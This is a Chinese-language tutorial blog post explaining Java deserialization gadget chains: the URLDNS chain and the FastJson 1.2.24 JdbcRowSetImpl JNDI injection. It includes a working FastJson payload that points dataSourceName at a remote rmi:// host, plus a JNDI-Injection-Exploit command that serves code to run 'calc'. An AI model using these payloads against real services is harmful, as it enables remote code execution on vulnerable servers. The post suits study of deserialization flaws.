当前位置: 首页 > news >正文

Web开发-JavaEE应用原生和FastJson反序列化URLDNS链JDBC链Gadget手搓

知识点:
1、安全开发-JavaEE-原生序列化-URLDNS链分析
2、安全开发-JavaEE-FastJson-JdbcRowSetImpl链分析

利用链也叫"gadget chains",我们通常称为gadget:
1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
3、调用链gadget chain:相同方法名、相同类型
4、执行类sink:RCE SSRF 写文件等等

在这里插入图片描述
在这里插入图片描述

一、演示案例-WEB开发-JavaEE-原生反序列化&URLDNS链(JDK自带链)

利用链跟踪

java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)        
HashMap->hash
key.hashCode->
URL.hashCode->              
handler.hashCode->
URLStreamHandler.getHostAddress

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

写利用链

参考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g

搞清楚入口类,需要修改的值,需要传递的值,
创建一个HashMap泛型,(后续操作URL类即int类型值)
在创建一个url连接,(将要请求的地址写入对应代码的U)
用put方法把url数据存放到里面,触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key,所以我们就需要给key的类型设置成URL类,
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB开发-JavaEE-FastJson反序列化&JDBC链(JDK自带链)

在这里插入图片描述
参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、序列化方法

JSON.toJSONString(),对象转换为JSON字符串;
JSON.toJSONBytes(),对象转换为byte数组;

2、反序列化方法

JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString()

3、常用

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

在这里插入图片描述
在这里插入图片描述

4、引出安全-序列化固定类后,反序列化不指定类后

在这里插入图片描述

parse方法在调用时会调用set方法

在这里插入图片描述

parseObject在调用时会调用set和get方法

在这里插入图片描述

5、引出安全-序列化固定类后,反序列化指定类后

parseObject在调用时会调用set方法

在这里插入图片描述

6、安全利用链

JDK自带链-JdbcRowSetImpl:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +"\"autoCommit\":true" +"}";
JSON.parse(payload);反序列化对象:com.sun.rowset.JdbcRowSetImpl
改动的成员变量:dataSourceName autoCommitsetdataSourceName->getdataSourceName
setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());RMI注入:触发RCE
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
生成RMI恶意调用类:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

相关文章:

Web开发-JavaEE应用原生和FastJson反序列化URLDNS链JDBC链Gadget手搓

知识点&#xff1a; 1、安全开发-JavaEE-原生序列化-URLDNS链分析 2、安全开发-JavaEE-FastJson-JdbcRowSetImpl链分析 利用链也叫"gadget chains"&#xff0c;我们通常称为gadget&#xff1a; 1、共同条件&#xff1a;实现Serializable或者Externalizable接口&…...

坚持每日Codeforces三题挑战:Day 3 - 题目详解(2024-04-16,难度:900, 1200, 1200)

每天坚持写三道题第三天 &#xff08;今天写点简单的&#xff0c;剩下去刷力扣了&#xff09; 今日题目: Problem - B - Codeforces 900 Problem - B - Codeforces 1300 Problem - D - Codeforces 1400 题目一: Problem - B - Codeforces 题目大意: 给你一个数组,每次操…...

MySQL5.7递归查询

向下递归查询 SELECT ID,NAME,PARENT_ID,LEVEL_FROM(SELECT ID AS _IDS,(SELECT ID : GROUP_CONCAT(ID)FROM TREE_TABLE WHERE FIND_IN_SET(PARENT_ID,ID) > 0AND REMOVE N) T1,L : L 1 AS LEVEL_FROM TREE_TABLE,(SELECT ID : start, L: 0) T2WHERE ID IS NOT NULL) T3,…...

半导体设备通信标准—secsgem v0.3.0版本使用说明文档(2)之GEM(SEMI 30)

文章目录 1、处理器1.1、事件 2、GEM 合规性2.1、状态模型2.2、 设备加工状态2.3、 文档2.4、 控制 &#xff08;作员启动&#xff09;2.5、 动态事件报告配置2.6、 跟踪数据收集2.7、 报警管理2.8、 远程控制2.9、 设备常量2.10、 工艺配方管理2.11、 物料移动2.12、 设备终端…...

C++异步编程从入门到精通实战:全面指南与实战案例

C异步编程从入门到精通实战&#xff1a;全面指南与实战案例 在当今多核处理器普及的时代&#xff0c;异步编程成为了提升程序性能和响应能力的关键技术。无论是在高频交易系统、实时游戏引擎&#xff0c;还是网络服务器和大型数据处理平台&#xff0c;异步编程都发挥着至关重要…...

驱动开发硬核特训 · Day 13:从 device_create 到 sysfs,设备文件是如何生成的?

&#x1f50d; B站相应的视屏教程&#xff1a; &#x1f4cc; 内核&#xff1a;博文视频 - 备树深度解析&#xff1a;理论 实践全指南&#xff08;含 of 函数与 i.MX8MP 实例&#xff09; 敬请关注&#xff0c;记得标为原始粉丝。 &#x1f527; &#x1f4cc; 本文目标&#…...

肾脏系统触发 “数据包泄漏“ (血尿)与 “元数据校验异常“(蛋白尿)

肾脏系统触发 "数据包泄漏" (血尿)与 "元数据校验异常"(蛋白尿) 用计算机术语来类比。在之前的对话中&#xff0c;肾小球被比作防火墙或过滤器&#xff0c;肾小管则是回收系统。红细胞泄漏通常是因为肾小球的过滤屏障受损&#xff0c;而蛋白尿则可能与肾小…...

密码学(二)流密码

2.1流密码的基本概念 流密码的基本思想是利用密钥 k 产生一个密钥流...&#xff0c;并使用如下规则对明文串 ... 加密&#xff1a;。密钥流由密钥流发生器产生&#xff1a; &#xff0c;这里是加密器中的记忆元件&#xff08;存储器&#xff09;在时刻 i 的状态&#xff0c…...

Python 趣味学习 -数据类型脱口秀速记公式 [特殊字符]

&#x1f3a4; Python数据类型脱口秀速记公式 &#x1f40d; 1️⃣ 四大金刚登场 "Set叔(无序洁癖)、Tuple爷(顽固老头)、List姐(百变女王)、Dict哥(万能钥匙)"2️⃣ 特性对比RAP &#x1f3b6; 内存/作用域&#xff1a; 全局变量 → 函数内修改 → 可变(mutable)会…...

嵌入式Linux设备使用Go语言快速构建Web服务,实现设备参数配置管理方案探究

本文探讨&#xff0c;利用Go语言及gin框架在嵌入式Linux设备上高效搭建Web服务器&#xff0c;以实现设备参数的网页配置。通过gin框架&#xff0c;我们可以在几分钟内创建一个功能完善的管理界面&#xff0c;方便对诸如集中器&#xff0c;集线器等没有界面的嵌入式设备的管理。…...

波束形成(BF)从算法仿真到工程源码实现-第十二节-总结

一、总结 &#xff08;1&#xff09;基于webrtc的非线性波束形成效果较好&#xff0c;复杂度较低&#xff0c;但是波束形成后引入了非线性&#xff0c;导致噪声估计不准确&#xff0c;降噪效果变差。 &#xff08;2&#xff09;MVDR使用噪声协方差矩阵对平稳噪声降噪效果比较…...

【AI】IDEA 集成 AI 工具的背景与意义

一、IDEA 集成 AI 工具的背景与意义 随着人工智能技术的迅猛发展&#xff0c;尤其是大语言模型的不断演进&#xff0c;软件开发行业也迎来了智能化变革的浪潮。对于开发者而言&#xff0c;日常工作中面临着诸多挑战&#xff0c;如代码编写的重复性劳动、复杂逻辑的实现、代码质…...

解释原型链的概念,并说明`Object.prototype.__proto__`的值是什么?

原型链是 JavaScript 中实现继承的核心机制。每个对象都有一个指向其原型对象的私有链接&#xff08;通过 [[Prototype]] 内部属性&#xff09;&#xff0c;而原型对象自身也可能拥有原型&#xff0c;这种链式结构被称为原型链。当访问对象的属性时&#xff0c;若对象自身不存在…...

prototype`和`__proto__`有什么区别?如何手动修改一个对象的原型?

在 JavaScript 中&#xff0c;prototype 和 __proto__ 都与原型链相关&#xff0c;但它们的角色和用途有本质区别&#xff1a; 1. prototype 和 __proto__ 的区别 特性prototype__proto__归属对象仅函数对象拥有&#xff08;如构造函数&#xff09;所有对象默认拥有&#xff0…...

数据挖掘案例-电力负荷预测

今日课程 时间序列预测介绍 电力负荷预测项目开发&#xff08;开发一个基于时间以及历史负荷信息&#xff0c;预测未来负荷的模型&#xff09; 一、时间序列预测简介 1.什么是时序预测 时间序列预测是一种根据历史时间序列数据来预测未来值的方法。 任务比较好理解&#…...

SQL Server中OPENJSON + WITH 来解析JSON

一、概念 OPENJSON 是 SQL Server&#xff08;2016 及更高版本&#xff09; 中引入的一个表值函数&#xff0c;它将 JSON 文本转换为行和列的关系型数据结构。通过添加 WITH 子句&#xff0c;可以明确指定返回数据的结构和类型&#xff0c;实现 JSON 数据到表格数据的精确映射…...

在 Linux 中判断当前网络类型与网卡类型的实用方法(内外网判断 + 网卡分类)

在日常使用 Linux&#xff08;例如 Jetson、树莓派、服务器&#xff09;过程中&#xff0c;我们经常会遇到以下几个问题&#xff1a; 如何知道系统当前是走 有线网络还是无线网络&#xff1f;如何判断是连接了 公网还是内网&#xff1f;169.254.x.x 是什么&#xff1f;为什么我…...

Docker compose入门

目录 Docker Compose简介安装docker compose局限一 适合单机部署&#xff0c;不适合生产环境1. 架构设计目标不同2. 关键功能对比3. 生产环境的核心需求4. 适用场景总结5. 为什么 Compose 不适合生产&#xff1f; Docker Compose 简介 Docker Compose 是一个用于简化多容器Do…...

Docker Search 和 Docker Pull 失效解决

目录 1. Docker Search 1.1 问题描述 1.2 解决方案 1.2.1 方案1 命令行方式 1.2.2 方案2 非命令行方式 2. Docker Pull 2.1 问题描述 2.2 解决方案 2.2.1 替换镜像源 2.2.1.1 编辑镜像源&#xff08;linux&#xff09;版 2.2.1.2 编辑镜像源&#xff08;windows版本…...

Langchain Agent封装的工具

LangChain Agent Tools 参考文档 本文档详细介绍了LangChain框架中可用的Agent工具及其使用方法。这些工具可以赋予AI智能体与外部系统和服务交互的能力&#xff0c;从而构建功能更强大的应用程序。 目录 工具加载方法基础工具文件和系统工具搜索和信息检索工具语言模型增强…...

Windows11删除文件时弹出提示“没有管理员权限”,怎么办?

Windows11删除文件时弹出提示“没有管理员权限”&#xff0c;怎么办&#xff1f; 原因&#xff1a;文件没有读取到完全控制的权限。 解决方法&#xff1a;点击开始-设置-账户&#xff0c;检查Windows是否登录管理员账户&#xff0c;必须登录管理员账户。然后回到电脑桌面&…...

使用HTML + CSS + JS,编写一个台球追分计分器

目录 一.代码 二.效果展示 三.该计分器的优点 一.代码 <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…...

CS5346 - CHARTS: Chart with Point / Bar / Line / Box

文章目录 Chart with Point&#xff08;点图&#xff09;Scatter Chart&#xff08;散点图&#xff09;Pictogram&#xff08;图标&#xff09;Connected Scatter PlotConnected Dot plot&#xff08;连接点图&#xff09;Bubble Chart&#xff08;气泡图&#xff09; Chart wi…...

CNN实现简易教程

一、CNN基础回顾与设计原则 在开始实践之前,我们先快速回顾CNN的核心组件和设计原则,这将帮助你理解后续的代码和设计决策。 1. CNN的核心组件 卷积层(Convolutional Layer):通过卷积核提取局部特征(如边缘、纹理)。主要参数包括: 输入通道数(in_channels):输入数…...

Flask(1): 在windows系统上部署项目1

1 前言 学习python也有段时间了&#xff0c;最近一个小项目要部署&#xff0c;正好把过程写下来。 在程序的结构上我选择了w/s模式&#xff0c;相比于c/s模式&#xff0c;无需考虑客户端的升级&#xff1b;框架我选择了flask&#xff0c;就是冲着轻量级去的&#xff0c;就是插件…...

Zookeeper 可观测性最佳实践

Zookeeper 介绍 ZooKeeper 是一个开源的分布式协调服务&#xff0c;用于管理和协调分布式系统中的节点。它提供了一种高效、可靠的方式来解决分布式系统中的常见问题&#xff0c;如数据同步、配置管理、命名服务和集群管理等。本文介绍通过 DataKit 采集 Zookeeper 指标&#…...

vs2022使用git方法

1、创建git 2、在cmd下执行 git push -f origin master &#xff0c;会把本地代码全部推送到远程&#xff0c;同时会覆盖远程代码。 3、需要设置【Git全局设置】&#xff0c;修改的代码才会显示可以提交&#xff0c;否则是灰色的不能提交。 4、创建的分支&#xff0c;只要点击…...

【探商宝】跨境关税博弈下的技术破局:从头部平台现象看数字贸易体系重构

2025年4月&#xff0c;某头部跨境电商平台在北美市场上演了一场教科书级的技术突围战&#xff1a;其移动应用在72小时内从应用商店总榜300名开外飙升至第2位&#xff0c;单日下载量暴增近10倍。这场现象级爆发的背后&#xff0c;是关税政策与数字技术深度博弈的集中呈现。作为开…...

DeepSeek是否支持动态模态选择?揭秘多模态AI的智能切换能力

什么是动态模态选择&#xff1f; 想象一下你在和AI助手聊天&#xff1a; “帮我看看这张图片里有什么&#xff1f;”——AI切到视觉模式 “把图片内容写成300字总结”——切回文本模式 “再把它翻译成英文语音”——切到语音模式 这种根据任务需求自动切换处理模式的能力就是…...

Qwen2.5-Omni 部署框架选择指南:PyTorch vs. TensorFlow 深度对比

目录 一、核心结论&#xff1a;优先选择 PyTorch 方案 二、框架技术对比 1. 官方支持度 2. 性能基准测试&#xff08;RTX 4090&#xff09; 3. 关键功能支持 三、环境配置详解 1. PyTorch 推荐方案 系统配置 关键依赖 验证CUDA可用性 2. TensorFlow 替代方案&#x…...

全栈工程师角色介绍

全栈工程师&#xff08;Full Stack Engineer&#xff09;是一种综合型技术角色&#xff0c;具备从前端到后端、数据库、服务器运维等多领域的开发能力&#xff0c;并能独立完成产品全生命周期的构建与维护。其核心定义可从以下维度展开&#xff1a; 一、核心定义 技术广度与深…...

从零起步的Kaggle竞赛 - BirdCLEF2025

一个优秀的coder&#xff0c;先从CV工程开始...... 首先复制了 LB 0.804- EfficientNet B0 Pytorch Pipeline | Kaggle 这个notebook并尝试提交&#xff0c;ok&#xff0c;0.804 下载了大佬的代码试图在本地修改模型结构并训练。 以下是大佬的notebook中的代码&#xff0c;可…...

基于CNN+ViT的蔬果图像分类实验

本文只是做一个简单融合的实验&#xff0c;没有任何新颖&#xff0c;大家看看就行了。 1.数据集 本文所采用的数据集为Fruit-360 果蔬图像数据集&#xff0c;该数据集由 Horea Mureșan 等人整理并发布于 GitHub&#xff08;项目地址&#xff1a;Horea94/Fruit-Images-Datase…...

MySQL SQL 执行顺序(理论顺序)

示例 SQL&#xff1a; SELECT name, COUNT(*) FROM users WHERE age > 18 GROUP BY name HAVING COUNT(*) > 1 ORDER BY name ASC LIMIT 10;虽然语句是从 SELECT 写起的&#xff0c;但执行顺序其实是这样的&#xff1a; 执行顺序SQL 子句作用说明①FROM确定查询的…...

用Allan Deviation的方式估计长时间频率偏差

在电路设计中&#xff0c;若需要评估OSC长时间的偏差(秒级别)&#xff0c;观测的时间越多&#xff0c;低频噪声1/f上载的越厉害,如何通过PhaseNoise去有效估计长时间的偏差呢?...

无人机避障与目标识别技术分析!

一、无人机避障技术 1. 技术实现方式 传感器融合&#xff1a; 视觉传感&#xff08;RGB/双目/红外相机&#xff09;&#xff1a;基于SLAM&#xff08;同步定位与地图构建&#xff09;实现环境建模&#xff0c;但依赖光照条件。 激光雷达&#xff08;LiDAR&#xff09;&…...

2025年渗透测试面试题总结-拷打题库01(题目+回答)

网络安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 2025年渗透测试面试题总结-拷打题库01 1. PHP爆绝对路径方法&#xff1f; 2. 渗透工具及最常用工具 3…...

大厂面试:六大排序

前言 本篇博客集中了冒泡&#xff0c;选择&#xff0c;二分插入&#xff0c;快排&#xff0c;归并&#xff0c;堆排&#xff0c;六大排序算法 如果觉得对你有帮助&#xff0c;可以点点关注&#xff0c;点点赞&#xff0c;谢谢你&#xff01; 1.冒泡排序 //冒泡排序&#xff…...

Python爬虫第15节-2025今日头条街拍美图抓取实战

目录 一、项目背景与概述 二、环境准备与工具配置 2.1 开发环境要求 2.2 辅助工具配置 三、详细抓取流程解析 3.1 页面加载机制分析 3.2 关键请求识别技巧 3.3 参数规律深度分析 四、爬虫代码实现 五、实现关键 六、法律与道德规范 一、项目概述 在当今互联网时代&a…...

std::map gdb调试ok ,直接运行会crash

在使用 std::map 并且在调试模式下没有问题&#xff0c;但在直接运行时出现崩溃&#xff08;crash&#xff09;的情况&#xff0c;通常是由于以下几个原因引起的&#xff1a; 未初始化的变量使用&#xff1a;在调试模式下&#xff0c;某些变量可能因为调试工具&#xff08;如 G…...

【2025年泰迪杯数据挖掘挑战赛】A题 数据分析+问题建模与求解+Python代码直接分享

目录 2025年泰迪杯数据挖掘挑战赛A题完整论文&#xff1a;建模与求解Python代码1问题一的思路与求解1.1 问题一的思路1.1.1对统计数据进行必要说明&#xff1a;1.1.2统计流程&#xff1a;1.1.3特殊情况的考虑&#xff1a; 1.2 问题一的求解1.2.1代码实现1.2.2 问题一结果代码分…...

git在分支上会退到某个指定的commit

1、在idea上先备份好分支&#xff08;基于现有分支new branch&#xff09; 2、在gitlab管理端删除现有分支 3、在idea中大卡terminal&#xff0c;执行 git log 查看commit log ,找到要会退到的commit唯一码&#xff0c;然后执行git reset 唯一码 4、查看本地代码状态 git st…...

Cursor入门教程-JetBrains过度向

Cursor使用笔记 **前置&#xff1a;**之前博主使用的是JetBrains的IDE&#xff0c;VSCode使用比较少&#xff0c;所以会尽量朝着JetBrains的使用习惯及样式去调整。 一、设置语言为中文 如果刚上手Cursor&#xff0c;那么肯定对Cursor中的众多选项配置项不熟悉&#xff0c;这…...

MySQL之text字段详细分类说明

在 MySQL 中&#xff0c;TEXT 是用来存储大量文本数据的数据类型。TEXT 类型可以存储非常长的字符串&#xff0c;比 VARCHAR 类型更适合存储大块的文本数据。TEXT 数据类型分为以下几个子类型&#xff0c;每个子类型用于存储不同大小范围的文本数据&#xff1a; TINYTEXT: 可以…...

为什么 Transformer 要使用多头注意力机制?

简而言之&#xff0c;多头注意力机制可以让模型从不同的在空间中并行地捕捉到不同的特征关系&#xff0c;从而更全面&#xff0c;更灵活地理解序列中的信息。 举个例子&#xff0c;如果要看一幅画&#xff0c;就不能简单地只关注例如颜色&#xff0c;还要关注到结构&#xff0…...

Python项目--基于Python的自然语言处理文本摘要系统

1. 项目概述 自然语言处理(NLP)是人工智能领域中一个重要的研究方向&#xff0c;而文本摘要作为NLP的一个重要应用&#xff0c;在信息爆炸的时代具有重要意义。本项目旨在开发一个基于Python的文本摘要系统&#xff0c;能够自动从长文本中提取关键信息&#xff0c;生成简洁而全…...

【Web APIs】JavaScript 操作多个元素 ③ ( 鼠标经过高亮显示 | onmouseover 事件设置 | onmouseout 事件设置 )

文章目录 一、核心要点解析 - 鼠标经过高亮显示1、案例需求2、获取高亮显示的 列表行3、鼠标经过 onmouseover 事件设置4、鼠标离开 onmouseout 事件设置5、设置高亮方式 二、完整代码示例1、完整代码示例2、执行结果 一、核心要点解析 - 鼠标经过高亮显示 1、案例需求 案例需求…...

金融的未来

1. DeFi的爆发式增长与核心使命 DeFi&#xff08;去中心化金融&#xff09;的使命是重构传统金融基础设施&#xff0c;通过区块链技术实现更高的透明度、可访问性、效率、便利性和互操作性。其增长数据印证了这一趋势&#xff1a; TVL&#xff08;总锁定价值&#xff09;爆炸…...

[ElasticSearch]Suggest查询建议(自动补全纠错)

概述 搜索一般都会要求具有“搜索推荐”或者叫“搜索补全”的功能&#xff0c;即在用户输入搜索的过程中&#xff0c;进行自动补全或者纠错。以此来提高搜索文档的匹配精准度&#xff0c;进而提升用户的搜索体验&#xff0c;这就是Suggest。 四种Suggester 1 Term Suggester…...

GPT-4.1 提示词使用指南

GPT-4.1 提示词使用指南 参考&#xff1a;https://cookbook.openai.com/examples/gpt4-1_prompting_guide 为什么要关注 GPT-4.1 提示词使用指南&#xff1f; GPT-4.1 比其前代模型 GPT-4o 更倾向于严格跟随指令&#xff0c;而不是像 GPT-4o 那样更自由地推断用户和系统提示…...